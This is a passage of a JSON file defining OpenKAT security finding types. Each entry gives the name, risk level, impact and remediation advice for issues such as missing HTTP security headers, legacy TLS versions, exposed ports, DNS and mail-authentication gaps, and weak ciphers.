\"risk\": \"recommendation\",\n    \"impact\": \"When a website visitor clicks on a link to another website, the browser sends the Referer HTTP header (a part of the URL) to the other website. This is a privacy leak for the website visitor. In some cases, sensitive information such as session tokens may leak to websites that are linked to.\",\n    \"recommendation\": \"Set the header to 'Referrer-Policy: no-referrer' in every HTTP answer.\"\n  },\n  \"KAT-NO-X-CONTENT-TYPE-OPTIONS\": {\n    \"name\":\"Missing X-Content-Type-Options header\",\n    \"description\": \"The HTTP header 'X-Content-Type-Options' is not set. Internet Explorer and Chrome apply MIME type sniffing in order to guess the content type of a document served and ignore the file extension.\",\n    \"source\": \"http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"A malicious user of the system could upload a legitimate file containing HTML code to the website (if such functionality exists) with a file extension such as '.jpg' or '.png'. If the victim uses Internet Explorer or Chrome and downloads the malicious file, the uploaded HTML code will be executed, even though the file contains an image extension and the server would return an image header such as 'Content-Type: image/jpeg'. This may include a cross-site scripting vulnerability.\",\n    \"recommendation\": \"Set the HTTP header 'X-Content-Type- Options: nosniff' in at least all web pages that contain user input (and uploads).\"\n  },\n  \"KAT-SSL-2-SUPPORT\": {\n    \"name\":\"SSL version 2 protocol detected\",\n    \"description\": \"The server supports SSL version 2. This is a protocol that encrypts data traffic by using a legacy protocol and encryption ciphers which contains various security vulnerabilities.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"high\",\n    \"impact\": \"Attackers, who can perform a man-in-the-middle attack, can decrypt traffic. Thus no integrity or confidentiality is offered to between the client and server.\",\n    \"recommendation\": \"Disable support for SSL version 2.\"\n  },\n  \"KAT-SSL-3-SUPPORT\": {\n    \"name\":\"SSL version 3 protocol detected\",\n    \"description\": \"The server supports SSL version 3. This is a protocol that encrypts data traffic by using a legacy protocol and encryption ciphers which contains various security vulnerabilities.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"high\",\n    \"impact\": \"Attackers, who can perform a man-in-the-middle attack, can decrypt traffic. Thus no integrity or confidentiality is offered to between the client and server.\",\n    \"recommendation\": \"Disable support for SSL version 3.\"\n  },\n  \"KAT-TLS-1.0-SUPPORT\": {\n    \"name\":\"TLS version 1.0 protocol detected\",\n    \"description\": \"The server supports TLS version 1.0. This is a protocol that encrypts data traffic by using a legacy protocol and encryption ciphers which contains various security vulnerabilities.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"medium\",\n    \"impact\": \"Attackers, who can perform a man-in-the-middle attack, can decrypt traffic. Thus no integrity or confidentiality is offered to between the client and server. The impact can be reduced by only using secure ciphers.\",\n    \"recommendation\": \"Disable support for TLS version 1.1, unless it is required for backwards compatibility of devices. To reduce the attack surface ensure that only secure ciphers are used.\"\n  },\n  \"KAT-TLS-1.1-SUPPORT\": {\n    \"name\":\"TLS version 1.1 protocol detected\",\n    \"description\": \"The server supports TLS version 1.1. This is a protocol that encrypts data traffic by using a legacy protocol and encryption ciphers which contains various security vulnerabilities.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"medium\",\n    \"impact\": \"Attackers, who can perform a man-in-the-middle attack, can decrypt traffic. Thus no integrity or confidentiality is offered to between the client and server. The impact can be reduced by only using secure ciphers.\",\n    \"recommendation\": \"Disable support for TLS version 1.1, unless it is required for backwards compatibility of devices. To reduce the attack surface ensure that only secure ciphers are used.\"\n  },\n  \"KAT-TLS-1.0-AND-1.1-SUPPORT\": {\n    \"name\":\"TLS version 1.0 and version 1.1 protocol detected\",\n    \"description\": \"The server supports TLS version 1.0 and 1,1.This is a protocol that encrypts data traffic by using a legacy protocol and encryption ciphers which contains various security vulnerabilities.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"medium\",\n    \"impact\": \"Attackers, who can perform a man-in-the-middle attack, can decrypt traffic. Thus no integrity or confidentiality is offered to between the client and server.\",\n    \"recommendation\": \"Disable support for TLS version 1.0 and 1.1, unless it is required for backwards compatibility of devices. To reduce the attack surface ensure that only secure ciphers are used.\"\n  },\n  \"KAT-NO-TLS-1.2\": {\n    \"name\":\"TLS version 1.2 is not supported\",\n    \"description\": \"TLS version 1.2 is not supported. This is a current and recommended protocol that securely encrypts data traffic.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"medium\",\n    \"impact\": \"Lack of support for TLS 1.2 could impact backwards compatibility for older devices. Ensure that only safe ciphers are used for encryption.\",\n    \"recommendation\": \"Enable support for TLS version 1.2.\"\n  },\n  \"KAT-NO-TLS-1.3\": {\n    \"name\":\"TLS version 1.3 is not supported\",\n    \"description\": \"TLS version 1.3 is not supported. This is a current and recommended protocol that securely encrypts data traffic.\",\n    \"source\": \"https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices#22-use-secure-protocols\",\n    \"risk\": \"medium\",\n    \"impact\": \"TLS 1.3 must be enabled to support the newest devices and in order to offer Perfect Forward Secrecy.\",\n    \"recommendation\": \"Enable support for TLS version 1.3.\"\n  },\n  \"KAT-NO-TLS-FALLBACK-SCSV\": {\n    \"name\":\"No TLS downgrade attack protection (Fallback SCSV)\",\n    \"description\": \"The encrypted connection provides no protection against downgrade attacks.\",\n    \"source\": \"https://www.rfc-editor.org/rfc/rfc7507\",\n    \"risk\": \"low\",\n    \"impact\": \"An attacker, who can perform a man-in-the-middle attack, can weaken the session between the client and server. This could result in loss of confidentiality and integrity of data.\",\n    \"recommendation\": \"Implement TLS_FALLBACK_SCSV.\"\n  },\n  \"KAT-OPEN-SYSADMIN-PORT\": {\n    \"name\":\"Open system administrator port(s) detected\",\n    \"description\": \"A known system administration port is open.\",\n    \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n    \"risk\": \"medium\",\n    \"impact\": \"System administrator port(s) should only be reachable from safe and known locations to reduce attack surface.\",\n    \"recommendation\": \"Determine if the open system administrator port(s) should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\"\n  },\n  \"KAT-REMOTE-DESKTOP-PORT\": {\n    \"name\":\"Open Remote Desktop port(s) (RDP) detected\",\n    \"description\": \"An open Microsoft Remote Desktop Protocol (RDP) port was detected.\",\n    \"source\": \"https://www.cloudflare.com/en-gb/learning/access-management/rdp-security-risks/\",\n    \"risk\": \"medium\",\n    \"impact\": \"Remote desktop port(s) are often the root cause in ransomware attacks, due to weak password usage, outdated software or insecure configurations.\",\n    \"recommendation\": \"Disable the Microsoft RDP service on port 3389 if this is publicly reachable. Add additional security layers, such as VPN access if these ports do require to be enabled to limit the attack surface.\"\n  },\n  \"KAT-OPEN-DATABASE-PORT\": {\n    \"name\":\"Open database port(s) detected\",\n    \"description\": \"A database port is open.\",\n    \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n    \"risk\": \"high\",\n    \"impact\": \"Databases should never be reachable from the internet, but only from secured internal networks. This will reduce unauthorized access.\",\n    \"recommendation\": \"Determine if the open database port(s) should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\"\n  },\n  \"KAT-UNCOMMON-OPEN-PORT\": {\n    \"name\":\"Uncommon open port(s) detected\",\n    \"description\": \"An uncommon open port was identified. This could introduce security risks.\",\n    \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n    \"risk\": \"medium\",\n    \"impact\": \"Uncommon ports are sometimes overlooked and may become unwanted entry points for attackers into an organisations network.\",\n    \"recommendation\": \"Manually validate whether the port(s) should be open.\"\n  },\n  \"KAT-OPEN-COMMON-PORT\": {\n    \"name\":\"Open common port detected\",\n    \"description\": \"A port commonly used was found to be open.\",\n    \"source\": \"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Depending on the port there may or may not be impact.\",\n    \"recommendation\": \"Manually validate whether the port(s) should be open.\"\n  },\n  \"KAT-WEBSERVER-NO-IPV6\": {\n    \"name\":\"Web server without IPv6 connectivity\",\n    \"description\": \"For this website there is no web server with an IPv6 address available.\",\n    \"source\": \"https://www.internetsociety.org/deploy360/ipv6/\",\n    \"risk\": \"low\",\n    \"impact\": \"Users that only have IPv6 support cannot access your server.\",\n    \"recommendation\": \"Add an IPv6 address for at least one web server that has no IPv6 address yet.\"\n  },\n  \"KAT-NAMESERVER-IPV6-NOT-REACHABLE\": {\n    \"name\":\"Name server without IPv6 connectivity\",\n    \"description\": \"One or more name servers is not reachable on an IPv6 address.\",\n    \"source\": \"https://www.internetsociety.org/deploy360/ipv6/\",\n    \"risk\": \"low\",\n    \"impact\": \"Users that only have IPv6 support cannot access your server.\",\n    \"recommendation\": \"Check IPv6 addresses for all name servers.\"\n  },\n  \"KAT-WEBSERVER-IPV6-NOT-REACHABLE\": {\n    \"name\":\"Web server lacks IPv6 AAAA records\",\n    \"description\": \"OpenKAT checks if all web server that have an AAAA record with IPv6 address are reachable over IPv6. In this case the web server(s) is/are not reachable via IPv6.\",\n    \"source\": \"https://www.internetsociety.org/deploy360/ipv6/\",\n    \"risk\": \"low\",\n    \"impact\": \"Users that only have IPv6 support cannot access your server.\",\n    \"recommendation\": \"Configure IPv6 addresses for the web servers.\"\n  },\n  \"KAT-NOT-ENOUGH-IPV6-NAMESERVERS\": {\n    \"name\":\"Name servers without IPv6 connectivity\",\n    \"description\": \"OpenKAT tests all IPv6 addresses received from your name servers. For this website there are not enough name servers accessible via IPv6.\",\n    \"source\": \"https://www.internetsociety.org/deploy360/ipv6/\",\n    \"risk\": \"medium\",\n    \"impact\": \"Some users may not be able to reach your website without IPv6 support.\",\n    \"recommendation\": \"Add an IPv6 address for at least two name servers that have no IPv6 address yet.\"\n  },\n  \"KAT-NO-DNSSEC\": {\n    \"name\":\"DNSSEC not enabled\",\n    \"description\": \"The provided domain does not have DNSSEC enabled.\",\n    \"source\": \"https://www.dns-school.org/Documentation/dnssec_howto.pdf\",\n    \"risk\": \"medium\",\n    \"impact\": \"DNS requests are not authenticated, thus there is no protection against DNS poisoning or manipulation.\",\n    \"recommendation\": \"Enable DNSSEC on your name servers.\"\n  },\n  \"KAT-INVALID-DNSSEC\": {\n    \"name\":\"DNSSEC config is invalid\",\n    \"description\": \"The provided domain is DNSSEC signed, but the DNSSEC config is invalid.\",\n    \"source\": \"https://www.dns-school.org/Documentation/dnssec_howto.pdf\",\n    \"risk\": \"medium\",\n    \"impact\": \"Invalid DNS requests may not provide the wanted protection against DNS poisoning or manipulation attacks.\",\n    \"recommendation\": \"Reconfigure DNSSEC on your name servers.\"\n  },\n  \"KAT-HSTS-VULNERABILITIES\": {\n    \"name\":\"HTTP Strict Transport Security vulnerabilities found\",\n    \"description\": \"List of vulnerabilities found in the HTTP strict transport security (HSTS) settings of the http header.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security\",\n    \"risk\": \"medium\",\n    \"impact\": \"Impact depends on the HSTS misconfiguration. Determine what is wrong.\",\n    \"recommendation\": \"Adjust the HSTS header to make it as strict as possible in order to reduce the attack surface.\"\n  },\n  \"KAT-CSP-VULNERABILITIES\": {\n    \"name\":\"Content Security Policy header vulnerabilities\",\n    \"description\": \"List of vulnerabilities found in the content security policy (CSP) settings of the http header.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP\",\n    \"risk\": \"medium\",\n    \"impact\": \"A too naive CSP policy allows attackers to perform attacks from/to external locations.\",\n    \"recommendation\": \"Adjust the CSP header to make it as strict as possible in order to reduce the attack surface.\"\n  },\n  \"KAT-POTENTIAL-MALWARE\": {\n    \"name\":\"Software identified with potential malware\",\n    \"description\": \"This software is known to be used as malware.\",\n    \"source\": \"https://learn.microsoft.com/en-us/microsoft-365/security/defender/criteria?view=o365-worldwide\",\n    \"risk\": \"high\",\n    \"impact\": \"Depending on the malware this could be anything from eavesdropping to a ransomware attack.\",\n    \"recommendation\": \"Alert your CERT to verify if your systems are compromised.\"\n  },\n  \"KAT-EXPOSED-SOFTWARE\": {\n    \"name\":\"Administrative software identified\",\n    \"description\": \"This software is often used for administrative purposes and should not be exposed to the Internet. This could be an easy entry point into your organisations environment.\",\n    \"source\": \"Check your OpenKAT install on what software was identified.\",\n    \"risk\": \"critical\",\n    \"impact\": \"Impact depends on the identified software.\",\n    \"recommendation\": \"Move the software to a more secure location and/or make it only accessible through a VPN.\"\n  },\n  \"KAT-VERIFIED-VULNERABILITY\": {\n    \"name\":\"BinaryEdge verified vulnerability\",\n    \"description\": \"A verified vulnerability is found by BinaryEdge.\",\n    \"source\": \"Check your OpenKAT install on what software was identified.\",\n    \"risk\": \"critical\",\n    \"impact\": \"Impact depends on the identified software.\",\n    \"recommendation\": \"Inspect the software version, determine if additional measures need to be taken and install updates to reduce the attack surface.\"\n  },\n  \"KAT-DICOM-EXPOSED\": {\n    \"name\":\"DICOM server identified\",\n    \"description\": \"A Dicom server is exposed.\",\n    \"source\": \"https://en.wikipedia.org/wiki/DICOM\",\n    \"risk\": \"critical\",\n    \"impact\": \"Impact depends on segmentation and where the server is reachable from.\",\n    \"recommendation\": \"Validate whether servers should actually be exposed.\"\n  },\n  \"KAT-10-OR-MORE-NEW-PORTS-OPEN\": {\n    \"name\":\"10 or more new open ports identified\",\n    \"description\": \"A lot of ports are open which were not open a week ago.\",\n    \"source\": \"Check your OpenKAT install on which ports are identified.\",\n    \"risk\": \"critical\",\n    \"impact\": \"Impact depends on the services reachable through these open ports.\",\n    \"recommendation\": \"Validate the presence of all identified open ports. Close ports if they are not required.\"\n  },\n  \"KAT-LEAKIX-CRITICAL\": {\n    \"name\":\"LeakIX Critical vulnerability found\",\n    \"description\": \"A leak with severity critical has been found.\",\n    \"source\": \"https://leakix.net/\",\n    \"risk\": \"critical\",\n    \"impact\": \"Impact depends on what was identified.\",\n    \"recommendation\": \"Validate if this service is configured correctly, up-to-date and exposed on the correct port.\"\n  },\n  \"KAT-LEAKIX-HIGH\": {\n    \"name\":\"LeakIX High vulnerability found\",\n    \"description\": \"A leak with severity high has been found.\",\n    \"source\": \"https://leakix.net/\",\n    \"risk\": \"high\",\n    \"impact\": \"Impact depends on what was identified.\",\n    \"recommendation\": \"Validate if this service is configured correctly, up-to-date and exposed on the correct port.\"\n  },\n  \"KAT-LEAKIX-MEDIUM\": {\n    \"name\":\"LeakIX Medium vulnerability found\",\n    \"description\": \"A leak with severity medium has been found.\",\n    \"source\": \"https://leakix.net/\",\n    \"risk\": \"medium\",\n    \"impact\": \"Impact depends on what was identified.\",\n    \"recommendation\": \"Validate if this service is configured correctly, up-to-date and exposed on the correct port.\"\n  },\n  \"KAT-LEAKIX-LOW\": {\n    \"name\":\"LeakIX Low vulnerability found\",\n    \"description\": \"A leak with severity low has been found.\",\n    \"source\": \"https://leakix.net/\",\n    \"risk\": \"low\",\n    \"impact\": \"Impact depends on what was identified.\",\n    \"recommendation\": \"Validate if this service is configured correctly, up-to-date and exposed on the correct port.\"\n  },\n  \"KAT-LEAKIX-RECOMMENDATION\": {\n    \"name\":\"LeakIX Recommendation vulnerability found\",\n    \"description\": \"A leak with severity information has been found.\",\n    \"source\": \"https://leakix.net/\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Impact depends on what was identified.\",\n    \"recommendation\": \"Validate if this service is configured correctly, up-to-date and exposed on the correct port.\"\n  },\n  \"KAT-SOFTWARE-UPDATE-AVAILABLE\": {\n    \"name\":\"Outdate software identified\",\n    \"description\": \"There is a newer version for this software.\",\n    \"source\": \"Check your OpenKAT install on what software was identified.\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Impact depends on what was identified.\",\n    \"recommendation\": \"Install the updates for the software to reduce potential attack vectors.\"\n  },\n  \"KAT-NO-GREEN-HOSTING\": {\n    \"name\":\"Website not hosted in a 'green' way\",\n    \"description\": \"According to the Green Web Foundation, this website is not hosted in a 'green' way.\",\n    \"source\": \"https://www.thegreenwebfoundation.org/\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"No security impact, only environmental.\",\n    \"recommendation\": \"Change hosting providers if you wish to host 'green'.\"\n  },\n  \"KAT-NXDOMAIN\": {\n    \"name\":\"Non-existent domain identified\",\n    \"description\": \"The domain name does not exist.\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc8020\",\n    \"risk\": \"medium\",\n    \"impact\": \"If this is a service you rely on, have in your allow lists or redirect to, it stopped working. Fix it now. In addition someone might register this hostname and use it for nefarious reasons. :).\",\n    \"recommendation\": \"Try again later, or verify if the host should be reachable.\"\n  },\n  \"KAT-NXDOMAIN-HEADER\": {\n    \"name\":\"Non-existent domain identified in HTTP header\",\n    \"description\": \"The hostname in this header does not exist.\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc8020\",\n    \"risk\": \"critical\",\n    \"impact\": \"If this is a service you rely on, have in your allow lists or redirect to, it stopped working. Fix it now. In addition someone might register this hostname and use it for nefarious reasons. :).\",\n    \"recommendation\": \"Check if the hostname in the header is correct and update accordingly.\"\n  },\n  \"KAT-NAMESERVER-NO-TWO-IPV6\": {\n    \"name\":\"Name server doesn't have 2 IPv6 addresses\",\n    \"description\": \"This webserver does not have at least two nameservers with an IPv6 address.\",\n    \"source\": \"https://www.rfc-editor.org/rfc/rfc3901.txt\",\n    \"risk\": \"low\",\n    \"impact\": \"Some users may not be able to reach your website without IPv6 support.\",\n    \"recommendation\": \"Ensure that both nameservers have an reachable IPv6 address for higher availability.\"\n  },\n  \"KAT-NAMESERVER-NO-IPV6\": {\n    \"name\":\"Name server without IPv6 address\",\n    \"description\": \"This nameserver does not have an IPv6 address.\",\n    \"source\": \"https://www.rfc-editor.org/rfc/rfc3901.txt\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Some users may not be able to reach your website without IPv6 support.\",\n    \"recommendation\": \"Ensure that the nameserver has an IPv6 address that can be reached.\"\n  },\n  \"KAT-INTERNETNL\": {\n    \"name\":\"Non-compliant with InternetNL standards\",\n    \"description\": \"This website does not comply to the internet.nl standards. Currently, we check the following standards: IPv6 on webservers and nameservers, DNSSEC, missing and mis-configured headers.\",\n    \"source\": \"https://internet.nl/faqs/\",\n    \"risk\": \"medium\",\n    \"impact\": \"You may not be in sync with your organisations policy if this is a requirement.\",\n    \"recommendation\": \"Make changes to your web server in order to comply with the Internet.nl standards.\"\n  },\n  \"KAT-NO-CERTIFICATE\": {\n    \"name\":\"No Certificate was found.\",\n    \"description\": \"This website does not have an TLS certificate, this might indicate no encryption is being used or OpenKAT has not found the seen the certificate just yet.\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc5280\",\n    \"risk\": \"high\",\n    \"impact\": \"If no encryption is being used, attackers with the ability to do a man-in-the-middle attack, can read all your traffic. Modern clients also refuse to connect to sites without encryption.\",\n    \"recommendation\": \"Generate TLS certificates for web servers that do not use secure connections to offer confidentiality and integrity to users and data.\"\n  },\n  \"KAT-SSL-CERT-HOSTNAME-MISMATCH\": {\n    \"name\":\"SSL/TLS certificate name mismatch\",\n    \"description\": \"The alternative name of the certificate does not match with the hostname of the website. Modern clients also refuse to connect to sites using invalid certificates.\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.6\",\n    \"risk\": \"high\",\n    \"impact\": \"A properly configured client cannot connect to your server.\",\n    \"recommendation\": \"Update your certificates such that the alternative names include this hostname.\"\n  },\n  \"KAT-NO-HTTPS-REDIRECT\": {\n    \"name\":\"HTTP to HTTPS redirect missing\",\n    \"description\": \"This HTTP URL may not redirect to HTTPS; 'Location' was not found in HTTPHeader.\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc7231#section-6.4\",\n    \"risk\": \"low\",\n    \"impact\": \"Users may not connect over a secured connection to your server.\",\n    \"recommendation\": \"Check if redirection is setup properly.\"\n  },\n  \"KAT-CERTIFICATE-EXPIRING-SOON\": {\n    \"name\":\"SSL/TLS certificate expiring soon\",\n    \"description\": \"TLS certificate is expiring soon.\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.5\",\n    \"risk\": \"medium\",\n    \"impact\": \"Expired certificates could result in compromise of confidentiality and integrity of clients that connect to the service.\",\n    \"recommendation\": \"Update the certificate to expire on a date further in the future.\"\n  },\n  \"KAT-CERTIFICATE-EXPIRED\": {\n    \"name\":\"SSL/TLS Certificate expired\",\n    \"description\": \"TLS certificate has expired\",\n    \"source\": \"https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.5\",\n    \"risk\": \"critical\",\n    \"impact\": \"Expired certificates could result in compromise of confidentiality and integrity of clients that connect to the service. Modern clients also refuse to connect to sites using expired certificates.\",\n    \"recommendation\": \"Replace the certificate with a valid one.\"\n  },\n  \"KAT-NO-DMARC\": {\n    \"name\":\"No DMARC records found\",\n    \"description\": \"This hostname does not have a DMARC record.\",\n    \"source\": \"https://www.cloudflare.com/en-gb/learning/dns/dns-records/dns-dmarc-record/\",\n    \"risk\": \"medium\",\n    \"impact\": \"E-mail from this domain can potentially be spoofed if DMARC is not (properly) implemented in combination with DKIM and SPF. Not having DMARC setup will also limit this domains ability to deliver mail to various popular mail recipient domains.\",\n    \"recommendation\": \"Set a DMARC record to protect your domain.\"\n  },\n  \"KAT-NO-DKIM\": {\n    \"name\":\"No DKIM records found\",\n    \"description\": \"This hostname does not support a DKIM record.\",\n    \"source\": \"https://www.cloudflare.com/en-gb/learning/dns/dns-records/dns-dkim-record/\",\n    \"risk\": \"medium\",\n    \"impact\": \"E-mail from this domain can potentially be spoofed if DKIM is not (properly) implemented in combination with DMARC and SPF.  Not having DKIM setup will also limit this domains ability to deliver mail to various popular mail recipient domains.\",\n    \"recommendation\": \"Set a DKIM record to protect your domain, and Sign outgoing mails accordingly.\"\n  },\n  \"KAT-NO-SECURITY-TXT\": {\n    \"name\":\"Security.txt file missing\",\n    \"description\": \"This hostname does not have a Security.txt file.\",\n    \"source\": \"https://securitytxt.org/\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Security researchers and/or bounty hunter may not be able to properly disclose vulnerabilities for your website.\",\n    \"recommendation\": \"Make sure there is a security.txt available.\"\n  },\n  \"KAT-INVALID-SECURITY-TXT\": {\n    \"name\":\"Security.txt file is incomplete\",\n    \"description\": \"Required elements of the security.txt are missing.\",\n    \"source\": \"https://securitytxt.org/\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Security researchers and/or bounty hunter may not be able to properly disclose vulnerabilities for your website.\",\n    \"recommendation\": \"Make sure the security.txt is in line with the requirements.\"\n  },\n  \"KAT-BAD-FORMAT-SECURITY-TXT\": {\n    \"name\":\"Security.txt file contains bad format\",\n    \"description\": \"There are formatting mistakes in the security.txt file.\",\n    \"source\": \"https://www.rfc-editor.org/rfc/rfc9116.html#section-4\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Security researchers and/or bounty hunter may not be able to properly disclose vulnerabilities for your website.\",\n    \"recommendation\": \"Make sure the security.txt is correctly formatted.\"\n  },\n  \"KAT-NO-SPF\": {\n    \"name\":\"No SPF records found\",\n    \"description\": \"This hostname does not have an SPF record.\",\n    \"source\": \"https://www.cloudflare.com/en-gb/learning/dns/dns-records/dns-spf-record/\",\n    \"risk\": \"medium\",\n    \"impact\": \"E-mail from this domain can potentially be spoofed if SPF is not (properly) implemented in combination with DKIM and DMARC. Not having SPF setup will also limit this domains ability to deliver mail to various popular mail recipient domains.\",\n    \"recommendation\": \"Set an SPF record to protect your domain.\"\n  },\n  \"KAT-INVALID-SPF\": {\n    \"name\":\"Invalid SPF records found\",\n    \"description\": \"This SPF record could not be parsed by the internet.nl SPF parser and is therefore deemed invalid.\",\n    \"source\": \"https://www.cloudflare.com/en-gb/learning/dns/dns-records/dns-spf-record/\",\n    \"risk\": \"low\",\n    \"impact\": \"E-mail from this domain can potentially be spoofed if SPF is not (properly) implemented in combination with DKIM and DMARC. Not having SPF setup will also limit this domains ability to deliver mail to various popular mail recipient domains.\",\n    \"recommendation\": \"Fix the syntax of the SPF record.\"\n  },\n  \"KAT-EXPENSIVE-SPF\": {\n    \"name\":\"SPF record contains expensive construction\",\n    \"description\": \"This SPF record contains an expensive SPF construction.\",\n    \"source\": \"https://www.rfc-editor.org/rfc/rfc7208#section-4.6.4\",\n    \"risk\": \"low\",\n    \"impact\": \"Various recipient mailservers might not perform all requested lookups and bounce email because of missed allowed addresses, or bounce mail entirely due to too many dns lookups.\",\n    \"recommendation\": \"Consolidate the SPF record, remove unneeded lookups and mechanisms.\"\n  },\n  \"KAT-DEPRECATED-SPF-MECHANISM\": {\n    \"name\":\"SPF record contains deprecated mechanism\",\n    \"description\": \"This SPF record contains a deprecated SPF mechanism.\",\n    \"source\": \"https://www.rfc-editor.org/rfc/rfc7208#section-5.5\",\n    \"risk\": \"low\",\n    \"impact\": \"Deprecated mechanism is used. It should not be used.\",\n    \"recommendation\": \"Fix the SPF record, remove deprecated mechanisms.\"\n  },\n  \"SUB-DOMAIN-TAKEOVER\": {\n    \"name\":\"Possible sub-domain takeover\",\n    \"description\": \"Subdomain takeover is when an attacker takes control of an unused or improperly configured subdomain, potentially accessing sensitive information or conducting phishing attacks.\",\n    \"source\": \"https://developer.mozilla.org/en-US/docs/Web/Security/Subdomain_takeovers\",\n    \"risk\": \"high\",\n    \"impact\": \"An attacker using your hosting provider may setup a virtual host for your domain and thus intercept and trick users. Since they control content available under your (sub-domain) they could reach user cookies/sessions and perform various other attacks without breaking the browsers same-site principles.\",\n    \"recommendation\": \"To prevent subdomain takeover, organizations should regularly monitor their DNS records to identify and remove any unused subdomains. Additionally, they should ensure that all subdomains are properly configured and point to valid services that you control.\"\n  },\n  \"EXPOSED-ADMIN-PANELS\": {\n    \"name\":\"Administrative login interface reachable\",\n    \"description\": \"Exposed login panels for services can pose security risks as they can be targeted by malicious actors for brute-force attacks, phishing attempts, and other forms of unauthorized access.\",\n    \"source\": \"https://resources.infosecinstitute.com/topics/application-security/dangers-web-management/\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Administrative interfaces may be easy ways for an attacker to gain access to your network.\",\n    \"recommendation\": \"Ideally to minimize the attack surface as much as possible these panels should not be directly exposed to the internet.\"\n  },\n  \"KAT-CRITICAL-BAD-CIPHER\": {\n    \"name\":\" Insecure SSL/TLS cipher(s) detected\",\n    \"description\": \"Cryptographic algorithms (ciphers) are used that are labeled as insecure by the Dutch NCSC. This is caused by either the certificate verification, key exchange, bulk encryption or the hashing algorithm. These should not be used anymore\",\n    \"source\": \"https://english.ncsc.nl/binaries/ncsc-en/documenten/publications/2021/january/19/it-security-guidelines-for-transport-layer-security-2.1/IT+Security+Guidelines+for+Transport+Layer+Security+v2.1.pdf\",\n    \"risk\": \"critical\",\n    \"impact\": \"Insecure ciphers may result in loss of confidentiality and integrity of data through decryption attacks\",\n    \"recommendation\": \"Disable insecure ciphers as much as possible. Enable ciphers that are labeled as 'Good' by the NCSC. Check https://cipherlist.eu/ for safe ciphers. If this is not possible make sure that systems using these ciphers are segmented and additionally secured.\"\n  },\n  \"KAT-MEDIUM-BAD-CIPHER\": {\n    \"name\":\"Phase out SSL/TLS cipher(s) detected\",\n    \"description\": \"Cryptographic algorithms (ciphers) are used that are labeled as 'phase out' by the Dutch NCSC. This is caused by either the certificate verification, key exchange, bulk encryption or the hashing algorithm.\",\n    \"source\": \"https://english.ncsc.nl/binaries/ncsc-en/documenten/publications/2021/january/19/it-security-guidelines-for-transport-layer-security-2.1/IT+Security+Guidelines+for+Transport+Layer+Security+v2.1.pdf\",\n    \"risk\": \"medium\",\n    \"impact\": \"Weak ciphers may result in loss of confidentiality and integrity of data through decryption attacks.\",\n    \"recommendation\": \"Disable phase out ciphers as much as possible. Enable ciphers that are labeled as 'Good' by the NCSC. Check https://cipherlist.eu/ for safe ciphers.\"\n  },\n  \"KAT-RECOMMENDATION-BAD-CIPHER\": {\n    \"name\":\"Sufficient SSL/TLS cipher(s) detected\",\n    \"description\": \"Cryptographic algorithms (ciphers) are used that are labeled as 'sufficient' by the Dutch NCSC. This is caused by either the certificate verification, key exchange, bulk encryption or the hashing algorithm.\",\n    \"source\": \"https://english.ncsc.nl/binaries/ncsc-en/documenten/publications/2021/january/19/it-security-guidelines-for-transport-layer-security-2.1/IT+Security+Guidelines+for+Transport+Layer+Security+v2.1.pdf\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"Sufficient ciphers may result in a loss of confidentiality of data. While there is currently no direct impact, the data may be decrypted in the future with enough computing power and resources or new attacks.\",\n    \"recommendation\": \"Disable 'sufficient' ciphers and enable ciphers labeled as 'Good' by the NCSC. Check https://cipherlist.eu/ for safe ciphers.\"\n  },\n  \"KAT-NO-RPKI\": {\n    \"name\":\"No matching RPKI route announcement\",\n    \"description\": \"The IP address does not have a route announcement that is matched by the published Route Policy and Authorization (RPKI).\",\n    \"source\": \"https://blog.cloudflare.com/rpki/\",\n    \"risk\": \"low\",\n    \"impact\": \"Without RPKI validation, your servers might be more vulnerable to unintended or malicious routing configuration errors, potentially leading to inaccessibility of your servers or interception of internet traffic directed to them.\",\n    \"recommendation\": \"Work on implementing RPKI for your IP addresses. This may involve creating Route Origin Authorizations (ROAs) that specify which Autonomous Systems (AS) are authorized to announce your IP addresses.\"\n  },\n  \"KAT-EXPIRED-RPKI\": {\n    \"name\":\"Expired 